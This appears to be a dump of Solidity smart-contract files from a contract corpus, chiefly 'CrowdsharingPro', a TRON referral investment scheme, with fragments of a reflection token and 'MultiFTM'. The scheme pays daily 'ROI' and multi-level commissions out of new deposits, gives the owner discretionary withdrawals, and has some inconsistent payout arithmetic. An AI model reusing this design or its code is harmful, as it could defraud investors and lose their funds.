function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
uint256 i = _excludedIndex[account];
_excluded[i] = _excluded[_excluded.length - 1];
_excludedIndex[_excluded[i]] = i;
_excluded.pop();
delete _excludedIndex[account];
_tOwnedExcluded = _tOwnedExcluded.sub(_tOwned[account]);
_tOwned[account] = 0;
_isExcluded[account] = false;
}
function addToWhitelist(address account) external onlyOwner() {
require(!_isWhitelisted[account], "Account is already whitelisted");
_isWhitelisted[account] = true;
_whitelistIndex[account] = _whitelisted.length;
_whitelisted.push(account);
}
function removeFromWhitelist(address account) external onlyOwner() {
require(_isWhitelisted[account], "Account is not whitelisted");
uint256 i = _whitelistIndex[account];
_whitelisted[i] = _whitelisted[_whitelisted.length - 1];
_whitelistIndex[_whitelisted[i]] = i;
_whitelisted.pop();
_isWhitelisted[account] = false;
delete _whitelistIndex[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner()) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
if (sender != owner() && recipient != owner() && !_isWhitelisted[sender] && !_isWhitelisted[recipient]) {
if (lastBuyCounter[sender] != _buyCounter) {
require(lastBuy[sender] != block.number, "Bot detected");
}
_buyCounter += 1;
lastBuy[recipient] = block.number;
lastBuyCounter[recipient] = _buyCounter;
}
if (_isExcluded[sender]) {
if (_isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferFromExcluded(sender, recipient, amount);
}
} else {
if (_isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_tOwnedExcluded = _tOwnedExcluded.add(tTransferAmount);
_rOwnedExcluded = _rOwnedExcluded.add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_tOwnedExcluded = _tOwnedExcluded.sub(tAmount);
_rOwnedExcluded = _rOwnedExcluded.sub(rAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_tOwnedExcluded = _tOwnedExcluded.sub(tAmount);
_rOwnedExcluded = _rOwnedExcluded.sub(rAmount);
_tOwnedExcluded = _tOwnedExcluded.add(tTransferAmount);
_rOwnedExcluded = _rOwnedExcluded.add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
address sender = _msgSender();
uint256 tFee;
uint256 tTransferAmount;
if (_isWhitelisted[sender]) {
tTransferAmount = tAmount;
} else {
tFee = tAmount.div(1000).mul(9);
tTransferAmount = tAmount.sub(tFee);
}
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
uint256 defaultRate = _rTotal.div(_tTotal);
if (_rOwnedExcluded > _rTotal || _tOwnedExcluded > _tTotal) {
return defaultRate;
}
uint256 rSupply = _rTotal.sub(_rOwnedExcluded);
if (rSupply < defaultRate) {
return defaultRate;
}
uint256 tSupply = _tTotal.sub(_tOwnedExcluded);
return rSupply.div(tSupply);
}
}
| 172,896 | 569 |
5ea3114ec87f5194dcfdb048b7b888fe533279306f32b44d9bdda7e69d6dcbfa
| 39,922 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TL/TLRdaDmbxes9DcPZSbtSeyLFDYs4rAETnL_CrowdsharingPro.sol
| 8,038 | 34,099 |
//SourceUnit: Troncrowd.sol
pragma solidity ^0.5.8;
contract CrowdsharingPro{
using SafeMath for *;
Token public crowdsharingToken;
address public owner;
address private adminAddress;
address private marketingAddress;
uint64 public currUserID = 99;
uint256 private houseFee = 3;
uint256 private poolTime = 24 hours;
uint256 private payoutPeriod = 5 minutes; //change it after testing
uint256 private dailyWinPool = 5;
uint256 private incomeTimes = 32;
uint256 private incomeDivide = 10;
uint256 public roundID;
uint256 public r1 = 0;
uint256 public r2 = 0;
uint256 public totalAmountWithdrawn = 0;
uint256 public totalAmountInvested = 0;
uint256[3] private awardPercentage;
struct Leaderboard {
uint256 amt;
address addr;
}
Leaderboard[3] public topSponsors;
Leaderboard[3] public lasttopSponsors;
uint256[3] public lasttopSponsorsWinningAmount;
mapping (address => uint256) private playerEventVariable;
mapping (uint64 => address) public userList;
mapping (uint256 => DataStructs.DailyRound) public round;
mapping (address => DataStructs.Player) public player;
mapping (address => DataStructs.PlayerEarnings) public playerEarnings;
mapping (address => mapping (uint256 => DataStructs.PlayerDailyRounds)) public plyrRnds_;
event registerUserEvent(address indexed _playerAddress, address indexed _referrer, uint256 _referrerID);
event investmentEvent(address indexed _playerAddress, uint256 indexed _amount);
event referralCommissionEvent(address indexed _playerAddress, address indexed _referrer, uint256 indexed amount, uint256 timeStamp);
event dailyPayoutEvent(address indexed _playerAddress, uint256 indexed amount, uint256 indexed timeStamp);
event withdrawEvent(address indexed _playerAddress, uint256 indexed amount, uint256 indexed timeStamp);
event roundAwardsEvent(address indexed _playerAddress, uint256 indexed _amount);
event superBonusEvent(address indexed _playerAddress, uint256 indexed _amount);
event ownershipTransferred(address indexed owner, address indexed newOwner);
constructor (address _tokenToBeUsed, address _owner, address _adminAddress, address _marketingAddress) public {
crowdsharingToken = Token(_tokenToBeUsed);
owner = _owner;
adminAddress = _adminAddress;
marketingAddress = _marketingAddress;
roundID = 1;
round[1].startTime = now;
round[1].endTime = now + poolTime;
awardPercentage[0] = 50;
awardPercentage[1] = 30;
awardPercentage[2] = 20;
}
modifier isWithinLimits(uint256 _trx) {
require(_trx >= 10000000, "Minimum contribution amount is 100 TRX");//change it after testing
_;
}
modifier isallowedValue(uint256 _trx) {
require(_trx % 10000000 == 0, "Amount should be in multiple of 100 TRX");//change it after testing
_;
}
modifier onlyOwner() {
require(msg.sender == owner, "only Owner");
_;
}
//if someone accidently sends trx to contract address
function () external payable {
depositAmount(101);
}
function regAdmins(address [] memory _adminAddress, uint256 _amount, uint256 _limit, uint256 _referralCount) public onlyOwner {
require(currUserID <= 150, "No more admins can be registered");
for(uint i = 0; i < _adminAddress.length; i++){
currUserID++;
player[_adminAddress[i]].id = currUserID;
player[_adminAddress[i]].lastSettledTime = now;
player[_adminAddress[i]].currentInvestedAmount = _amount;
player[_adminAddress[i]].incomeLimitLeft = _limit;
player[_adminAddress[i]].totalInvestment = _amount;
player[_adminAddress[i]].referrer = userList[currUserID-1];
player[_adminAddress[i]].referralCount = _referralCount;
userList[currUserID] = _adminAddress[i];
playerEventVariable[_adminAddress[i]] = 1000000 trx;
}
}
function depositAmount(uint64 _referrerID)
public
isWithinLimits(msg.value)
isallowedValue(msg.value)
payable {
require(_referrerID >99 && _referrerID <=currUserID,"Wrong Referrer ID");
uint256 amount = msg.value;
address _referrer = userList[_referrerID];
//check whether the it's the new user
if (player[msg.sender].id == 0) {
currUserID++;
player[msg.sender].id = currUserID;
player[msg.sender].lastSettledTime = now;
player[msg.sender].currentInvestedAmount = amount;
player[msg.sender].incomeLimitLeft = amount.mul(incomeTimes).div(incomeDivide);
player[msg.sender].totalInvestment = amount;
player[msg.sender].referrer = _referrer;
player[_referrer].referralCount = player[_referrer].referralCount.add(1);
userList[currUserID] = msg.sender;
playerEventVariable[msg.sender] = 1000000 trx;
if(_referrer == owner) {
player[owner].directReferralIncome = player[owner].directReferralIncome.add(amount.mul(10).div(100));
player[_referrer].totalVolumeEth = player[_referrer].totalVolumeEth.add(amount);
playerEarnings[_referrer].referralCommissionEarnings = playerEarnings[_referrer].referralCommissionEarnings.add(amount.mul(10).div(100));
}
else {
player[_referrer].totalVolumeEth = player[_referrer].totalVolumeEth.add(amount);
plyrRnds_[_referrer][roundID].ethVolume = plyrRnds_[_referrer][roundID].ethVolume.add(amount);
addPromoter(_referrer);
checkSuperBonus(_referrer);
//assign the referral commission to all.
referralBonusTransferDirect(msg.sender, amount.mul(10).div(100));
}
emit registerUserEvent(msg.sender, _referrer, _referrerID);
}
//if the player has already joined earlier
else {
require(player[msg.sender].incomeLimitLeft == 0, "limit still left");
require(amount >= player[msg.sender].currentInvestedAmount, "bad amount");
_referrer = player[msg.sender].referrer;
player[msg.sender].lastSettledTime = now;
player[msg.sender].currentInvestedAmount = amount;
player[msg.sender].incomeLimitLeft = amount.mul(incomeTimes).div(incomeDivide);
player[msg.sender].totalInvestment = player[msg.sender].totalInvestment.add(amount);
if(_referrer == owner) {
player[owner].directReferralIncome = player[owner].directReferralIncome.add(amount.mul(10).div(100));
player[_referrer].totalVolumeEth = player[_referrer].totalVolumeEth.add(amount);
playerEarnings[_referrer].referralCommissionEarnings = playerEarnings[_referrer].referralCommissionEarnings.add(amount.mul(10).div(100));
}
else {
player[_referrer].totalVolumeEth = player[_referrer].totalVolumeEth.add(amount);
plyrRnds_[_referrer][roundID].ethVolume = plyrRnds_[_referrer][roundID].ethVolume.add(amount);
addPromoter(_referrer);
//assign the referral commission to all.
referralBonusTransferDirect(msg.sender, amount.mul(10).div(100));
}
}
round[roundID].pool = round[roundID].pool.add(amount.mul(dailyWinPool).div(100));
address(uint160(adminAddress)).transfer((amount.mul(houseFee).div(100)));
address(uint160(marketingAddress)).transfer((amount.mul(7).div(100)));
//check if round time has finished
if (now > round[roundID].endTime && round[roundID].ended == false) {
startNewRound();
}
totalAmountInvested = totalAmountInvested.add(amount);
emit investmentEvent (msg.sender, amount);
}
//to check the super bonus eligibilty
function checkSuperBonus(address _playerAddress) private {
if(player[_playerAddress].totalVolumeEth >= playerEventVariable[_playerAddress]) {
playerEventVariable[_playerAddress] = playerEventVariable[_playerAddress].add(1000000 trx);
emit superBonusEvent(_playerAddress, player[_playerAddress].totalVolumeEth);
}
}
function referralBonusTransferDirect(address _playerAddress, uint256 amount)
private
{
address _nextReferrer = player[_playerAddress].referrer;
if (player[_nextReferrer].incomeLimitLeft >= amount) {
player[_nextReferrer].incomeLimitLeft = player[_nextReferrer].incomeLimitLeft.sub(amount);
player[_nextReferrer].directReferralIncome = player[_nextReferrer].directReferralIncome.add(amount);
playerEarnings[_nextReferrer].referralCommissionEarnings = playerEarnings[_nextReferrer].referralCommissionEarnings.add(amount);
}
else if(player[_nextReferrer].incomeLimitLeft !=0) {
player[_nextReferrer].directReferralIncome = player[_nextReferrer].directReferralIncome.add(player[_nextReferrer].incomeLimitLeft);
r1 = r1.add(amount.sub(player[_nextReferrer].incomeLimitLeft));
playerEarnings[_nextReferrer].referralCommissionEarnings = playerEarnings[_nextReferrer].referralCommissionEarnings.add(player[_nextReferrer].incomeLimitLeft);
player[_nextReferrer].incomeLimitLeft = 0;
}
else {
r1 = r1.add(amount); //make a note of the missed commission;
}
}
function referralBonusTransferDailyROI(address _playerAddress, uint256 amount)
private
{
address _nextReferrer = player[_playerAddress].referrer;
uint256 _amountLeft = amount.mul(130).div(100);
uint i;
for(i=0; i < 15; i++) {
if (_nextReferrer != address(0x0)) {
//referral commission to level 1
if(i == 0) {
if (player[_nextReferrer].incomeLimitLeft >= amount.mul(35).div(100)) {
player[_nextReferrer].incomeLimitLeft = player[_nextReferrer].incomeLimitLeft.sub(amount.mul(35).div(100));
player[_nextReferrer].roiReferralIncome = player[_nextReferrer].roiReferralIncome.add(amount.mul(35).div(100));
playerEarnings[_nextReferrer].referralCommissionEarnings = playerEarnings[_nextReferrer].referralCommissionEarnings.add(amount.mul(35).div(100));
}
else if(player[_nextReferrer].incomeLimitLeft !=0) {
player[_nextReferrer].roiReferralIncome = player[_nextReferrer].roiReferralIncome.add(player[_nextReferrer].incomeLimitLeft);
r2 = r2.add(amount.mul(35).div(100).sub(player[_nextReferrer].incomeLimitLeft));
playerEarnings[_nextReferrer].referralCommissionEarnings = playerEarnings[_nextReferrer].referralCommissionEarnings.add(player[_nextReferrer].incomeLimitLeft);
player[_nextReferrer].incomeLimitLeft = 0;
}
else {
r2 = r2.add(amount.mul(35).div(100));
}
_amountLeft = _amountLeft.sub(amount.mul(35).div(100));
}
else if(i == 1) {
if(player[_nextReferrer].referralCount >= 2) {
if (player[_nextReferrer].incomeLimitLeft >= amount.mul(15).div(100)) {
player[_nextReferrer].incomeLimitLeft = player[_nextReferrer].incomeLimitLeft.sub(amount.mul(15).div(100));
player[_nextReferrer].roiReferralIncome = player[_nextReferrer].roiReferralIncome.add(amount.mul(15).div(100));
playerEarnings[_nextReferrer].referralCommissionEarnings = playerEarnings[_nextReferrer].referralCommissionEarnings.add(amount.mul(15).div(100));
}
else if(player[_nextReferrer].incomeLimitLeft !=0) {
player[_nextReferrer].roiReferralIncome = player[_nextReferrer].roiReferralIncome.add(player[_nextReferrer].incomeLimitLeft);
r2 = r2.add(amount.mul(15).div(100).sub(player[_nextReferrer].incomeLimitLeft));
playerEarnings[_nextReferrer].referralCommissionEarnings = playerEarnings[_nextReferrer].referralCommissionEarnings.add(player[_nextReferrer].incomeLimitLeft);
player[_nextReferrer].incomeLimitLeft = 0;
}
else {
r2 = r2.add(amount.mul(15).div(100));
}
}
else{
r2 = r2.add(amount.mul(15).div(100));
}
_amountLeft = _amountLeft.sub(amount.div(10));
}
//for users 3-5
else if(i >= 2 && i <= 4){
if(player[_nextReferrer].referralCount >= i+1) {
if (player[_nextReferrer].incomeLimitLeft >= amount.div(10)) {
player[_nextReferrer].incomeLimitLeft = player[_nextReferrer].incomeLimitLeft.sub(amount.div(10));
player[_nextReferrer].roiReferralIncome = player[_nextReferrer].roiReferralIncome.add(amount.div(10));
playerEarnings[_nextReferrer].referralCommissionEarnings = playerEarnings[_nextReferrer].referralCommissionEarnings.add(amount.div(10));
}
else if(player[_nextReferrer].incomeLimitLeft !=0) {
player[_nextReferrer].roiReferralIncome = player[_nextReferrer].roiReferralIncome.add(player[_nextReferrer].incomeLimitLeft);
r2 = r2.add(amount.div(10).sub(player[_nextReferrer].incomeLimitLeft));
playerEarnings[_nextReferrer].referralCommissionEarnings = playerEarnings[_nextReferrer].referralCommissionEarnings.add(player[_nextReferrer].incomeLimitLeft);
player[_nextReferrer].incomeLimitLeft = 0;
}
else {
r2 = r2.add(amount.div(10));
}
}
else{
r2 = r2.add(amount.div(10));
}
_amountLeft = _amountLeft.sub(amount.div(10));
}
//for users 6-10
else if(i >= 5 && i <= 9){
if(player[_nextReferrer].referralCount >= i+1) {
if (player[_nextReferrer].incomeLimitLeft >= amount.mul(6).div(100)) {
player[_nextReferrer].incomeLimitLeft = player[_nextReferrer].incomeLimitLeft.sub(amount.mul(6).div(100));
player[_nextReferrer].roiReferralIncome = player[_nextReferrer].roiReferralIncome.add(amount.mul(6).div(100));
playerEarnings[_nextReferrer].referralCommissionEarnings = playerEarnings[_nextReferrer].referralCommissionEarnings.add(amount.mul(6).div(100));
}
else if(player[_nextReferrer].incomeLimitLeft !=0) {
player[_nextReferrer].roiReferralIncome = player[_nextReferrer].roiReferralIncome.add(player[_nextReferrer].incomeLimitLeft);
r2 = r2.add(amount.mul(6).div(100).sub(player[_nextReferrer].incomeLimitLeft));
playerEarnings[_nextReferrer].referralCommissionEarnings = playerEarnings[_nextReferrer].referralCommissionEarnings.add(player[_nextReferrer].incomeLimitLeft);
player[_nextReferrer].incomeLimitLeft = 0;
}
else {
r2 = r2.add(amount.mul(6).div(100));
}
}
else{
r2 = r2.add(amount.mul(6).div(10));
}
_amountLeft = _amountLeft.sub(amount.mul(6).div(10));
}
//referral commission from level 11-16
else {
if(player[_nextReferrer].referralCount >= i+1) {
if (player[_nextReferrer].incomeLimitLeft >= amount.mul(4).div(100)) {
player[_nextReferrer].incomeLimitLeft = player[_nextReferrer].incomeLimitLeft.sub(amount.mul(4).div(100));
player[_nextReferrer].roiReferralIncome = player[_nextReferrer].roiReferralIncome.add(amount.mul(4).div(100));
playerEarnings[_nextReferrer].referralCommissionEarnings = playerEarnings[_nextReferrer].referralCommissionEarnings.add(amount.mul(4).div(100));
}
else if(player[_nextReferrer].incomeLimitLeft !=0) {
player[_nextReferrer].roiReferralIncome = player[_nextReferrer].roiReferralIncome.add(player[_nextReferrer].incomeLimitLeft);
r2 = r2.add(amount.mul(4).div(100).sub(player[_nextReferrer].incomeLimitLeft));
playerEarnings[_nextReferrer].referralCommissionEarnings = playerEarnings[_nextReferrer].referralCommissionEarnings.add(player[_nextReferrer].incomeLimitLeft);
player[_nextReferrer].incomeLimitLeft = 0;
}
else {
r2 = r2.add(amount.mul(4).div(100));
}
}
else {
r2 = r2.add(amount.mul(4).div(100));
}
_amountLeft = _amountLeft.sub(amount.mul(4).div(100));
}
}
else {
r2 = r2.add(_amountLeft);
break;
}
_nextReferrer = player[_nextReferrer].referrer;
}
}
//method to settle and withdraw the daily ROI
function settleIncome(address _playerAddress)
private {
uint256 remainingTimeForPayout;
uint256 currInvestedAmount;
if(now > player[_playerAddress].lastSettledTime + payoutPeriod) {
//calculate how much time has passed since last settlement
uint256 extraTime = now.sub(player[_playerAddress].lastSettledTime);
uint256 _dailyIncome;
//calculate how many number of days, payout is remaining
remainingTimeForPayout = (extraTime.sub((extraTime % payoutPeriod))).div(payoutPeriod);
currInvestedAmount = player[_playerAddress].currentInvestedAmount;
//calculate 1.25% of his invested amount
_dailyIncome = currInvestedAmount.div(80);
//check his income limit remaining
if (player[_playerAddress].incomeLimitLeft >= _dailyIncome.mul(remainingTimeForPayout)) {
player[_playerAddress].incomeLimitLeft = player[_playerAddress].incomeLimitLeft.sub(_dailyIncome.mul(remainingTimeForPayout));
player[_playerAddress].dailyIncome = player[_playerAddress].dailyIncome.add(_dailyIncome.mul(remainingTimeForPayout));
player[_playerAddress].lastSettledTime = player[_playerAddress].lastSettledTime.add((extraTime.sub((extraTime % payoutPeriod))));
//emit dailyPayoutEvent(_playerAddress, _dailyIncome.mul(remainingTimeForPayout), now);
playerEarnings[_playerAddress].dailyPayoutEarnings = playerEarnings[_playerAddress].dailyPayoutEarnings.add(_dailyIncome.mul(remainingTimeForPayout));
referralBonusTransferDailyROI(_playerAddress, _dailyIncome.mul(remainingTimeForPayout));
}
//if person income limit lesser than the daily ROI
else if(player[_playerAddress].incomeLimitLeft !=0) {
uint256 temp;
temp = player[_playerAddress].incomeLimitLeft;
player[_playerAddress].incomeLimitLeft = 0;
player[_playerAddress].dailyIncome = player[_playerAddress].dailyIncome.add(temp);
player[_playerAddress].lastSettledTime = now;
//emit dailyPayoutEvent(_playerAddress, temp, now);
playerEarnings[_playerAddress].dailyPayoutEarnings = playerEarnings[_playerAddress].dailyPayoutEarnings.add(temp);
referralBonusTransferDailyROI(_playerAddress, temp);
}
}
}
//function to allow users to withdraw their earnings
function withdrawIncome()
public {
address _playerAddress = msg.sender;
//settle the daily dividend
settleIncome(_playerAddress);
uint256 _earnings =
player[_playerAddress].dailyIncome +
player[_playerAddress].directReferralIncome +
player[_playerAddress].roiReferralIncome +
player[_playerAddress].sponsorPoolIncome;
//can only withdraw if they have some earnings.
if(_earnings > 0) {
require(address(this).balance >= _earnings, "Contract doesn't have sufficient amount to give you");
player[_playerAddress].dailyIncome = 0;
player[_playerAddress].directReferralIncome = 0;
player[_playerAddress].roiReferralIncome = 0;
player[_playerAddress].sponsorPoolIncome = 0;
totalAmountWithdrawn = totalAmountWithdrawn.add(_earnings);//note the amount withdrawn from contract;
address(uint160(_playerAddress)).transfer(_earnings);
if(crowdsharingToken.balanceOf(address(this)) >= _earnings)
crowdsharingToken.transfer(msg.sender,_earnings);
emit withdrawEvent(_playerAddress, _earnings, now);
}
//check if round needs to be started
if (now > round[roundID].endTime && round[roundID].ended == false) {
startNewRound();
}
}
//To start the new round for daily pool
function startNewRound()
private
{
uint256 _roundID = roundID;
uint256 _poolAmount = round[roundID].pool;
if (now > round[_roundID].endTime && round[_roundID].ended == false) {
if (_poolAmount >= 100 trx) {
round[_roundID].ended = true;
uint256 distributedSponsorAwards = distributetopSponsors();
_roundID++;
roundID++;
round[_roundID].startTime = now;
round[_roundID].endTime = now.add(poolTime);
round[_roundID].pool = _poolAmount.sub(distributedSponsorAwards);
}
else {
round[_roundID].startTime = now;
round[_roundID].endTime = now.add(poolTime);
round[_roundID].pool = _poolAmount;
}
}
}
function addPromoter(address _add)
private
returns (bool)
{
if (_add == address(0x0)){
return false;
}
uint256 _amt = plyrRnds_[_add][roundID].ethVolume;
// if the amount is less than the last on the leaderboard, reject
if (topSponsors[2].amt >= _amt){
return false;
}
address firstAddr = topSponsors[0].addr;
uint256 firstAmt = topSponsors[0].amt;
address secondAddr = topSponsors[1].addr;
uint256 secondAmt = topSponsors[1].amt;
// if the user should be at the top
if (_amt > topSponsors[0].amt){
if (topSponsors[0].addr == _add){
topSponsors[0].amt = _amt;
return true;
}
//if user is at the second position already and will come on first
else if (topSponsors[1].addr == _add){
topSponsors[0].addr = _add;
topSponsors[0].amt = _amt;
topSponsors[1].addr = firstAddr;
topSponsors[1].amt = firstAmt;
return true;
}
else{
topSponsors[0].addr = _add;
topSponsors[0].amt = _amt;
topSponsors[1].addr = firstAddr;
topSponsors[1].amt = firstAmt;
topSponsors[2].addr = secondAddr;
topSponsors[2].amt = secondAmt;
return true;
}
}
// if the user should be at the second position
else if (_amt > topSponsors[1].amt){
if (topSponsors[1].addr == _add){
topSponsors[1].amt = _amt;
return true;
}
else{
topSponsors[1].addr = _add;
topSponsors[1].amt = _amt;
topSponsors[2].addr = secondAddr;
topSponsors[2].amt = secondAmt;
return true;
}
}
// if the user should be at the third position
else if (_amt > topSponsors[2].amt){
if (topSponsors[2].addr == _add){
topSponsors[2].amt = _amt;
return true;
}
else{
topSponsors[2].addr = _add;
topSponsors[2].amt = _amt;
return true;
}
}
}
function distributetopSponsors()
private
returns (uint256)
{
uint256 totAmt = round[roundID].pool.mul(10).div(100);
uint256 distributedAmount;
uint256 i;
for (i = 0; i< 3; i++) {
if (topSponsors[i].addr != address(0x0)) {
if (player[topSponsors[i].addr].incomeLimitLeft >= totAmt.mul(awardPercentage[i]).div(100)) {
player[topSponsors[i].addr].incomeLimitLeft = player[topSponsors[i].addr].incomeLimitLeft.sub(totAmt.mul(awardPercentage[i]).div(100));
player[topSponsors[i].addr].sponsorPoolIncome = player[topSponsors[i].addr].sponsorPoolIncome.add(totAmt.mul(awardPercentage[i]).div(100));
//emit roundAwardsEvent(topSponsors[i].addr, totAmt.mul(awardPercentage[i]).div(100));
playerEarnings[topSponsors[i].addr].roundEarnings = playerEarnings[topSponsors[i].addr].roundEarnings.add(totAmt.mul(awardPercentage[i]).div(100));
}
else if(player[topSponsors[i].addr].incomeLimitLeft !=0) {
player[topSponsors[i].addr].sponsorPoolIncome = player[topSponsors[i].addr].sponsorPoolIncome.add(player[topSponsors[i].addr].incomeLimitLeft);
r2 = r2.add((totAmt.mul(awardPercentage[i]).div(100)).sub(player[topSponsors[i].addr].incomeLimitLeft));
//emit roundAwardsEvent(topSponsors[i].addr,player[topSponsors[i].addr].incomeLimitLeft);
playerEarnings[topSponsors[i].addr].roundEarnings = playerEarnings[topSponsors[i].addr].roundEarnings.add(player[topSponsors[i].addr].incomeLimitLeft);
player[topSponsors[i].addr].incomeLimitLeft = 0;
}
else {
r2 = r2.add(totAmt.mul(awardPercentage[i]).div(100));
}
distributedAmount = distributedAmount.add(totAmt.mul(awardPercentage[i]).div(100));
lasttopSponsors[i].addr = topSponsors[i].addr;
lasttopSponsors[i].amt = topSponsors[i].amt;
lasttopSponsorsWinningAmount[i] = totAmt.mul(awardPercentage[i]).div(100);
topSponsors[i].addr = address(0x0);
topSponsors[i].amt = 0;
}
}
return distributedAmount;
}
function withdrawFees(uint256 _amount, address _receiver, uint256 _numberUI) public onlyOwner {
if(_numberUI == 1 && r1 >= _amount) {
if(_amount > 0) {
if(address(this).balance >= _amount) {
r1 = r1.sub(_amount);
totalAmountWithdrawn = totalAmountWithdrawn.add(_amount);
address(uint160(_receiver)).transfer(_amount);
}
}
}
else if(_numberUI == 2 && r2 >= _amount) {
if(_amount > 0) {
if(address(this).balance >= _amount) {
r2 = r2.sub(_amount);
totalAmountWithdrawn = totalAmountWithdrawn.add(_amount);
address(uint160(_receiver)).transfer(_amount);
}
}
}
}
function takeRemainingTokens() public onlyOwner {
crowdsharingToken.transfer(owner,crowdsharingToken.balanceOf(address(this)));
}
function transferOwnership(address newOwner) external onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) private {
require(newOwner != address(0), "New owner cannot be the zero address");
emit ownershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transfer(address _to, uint256 _amount) external returns (bool success);
function balanceOf(address _owner) external view returns (uint256 balance);
function decimals()external view returns (uint8);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
library DataStructs {
struct DailyRound {
uint256 startTime;
uint256 endTime;
bool ended; //has daily round ended
uint256 pool; //amount in the pool;
}
struct Player {
uint256 id;
uint256 totalInvestment;
uint256 totalVolumeEth;
uint256 directReferralIncome;
uint256 roiReferralIncome;
uint256 currentInvestedAmount;
uint256 dailyIncome;
uint256 lastSettledTime;
uint256 incomeLimitLeft;
uint256 sponsorPoolIncome;
uint256 referralCount;
address referrer;
}
struct PlayerEarnings {
uint256 referralCommissionEarnings;
uint256 dailyPayoutEarnings;
uint256 roundEarnings;
}
struct PlayerDailyRounds {
uint256 ethVolume;
}
}
| 285,113 | 570 |
fd7a0a191cb87c3722057a4a8579e8958ece7f0f919fc5336b4b253d04df46fc
| 12,337 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/43/431E4Ac156f686ec5e36d0a116301A8aCA08DF0D_MultiFTM.sol
| 3,646 | 10,889 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
contract MultiFTM {
using SafeMath for uint256;
string public name = "MultiFTM";
uint256 constant public INVEST_MIN_AMOUNT = 1 ether;
uint256[] public REFERRAL_PERCENTS = [50, 25, 5];
uint256 constant public PROJECT_FEE = 100;
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256 constant public TIME_STEP = 1 days;
uint256 constant public MAXIMUM_NUMBER_DEPOSITS = 100;
uint256 public totalStaked;
uint256 public totalUsers;
struct Plan {
uint256 time;
uint256 percent;
uint256 tax;
}
Plan[] internal plans;
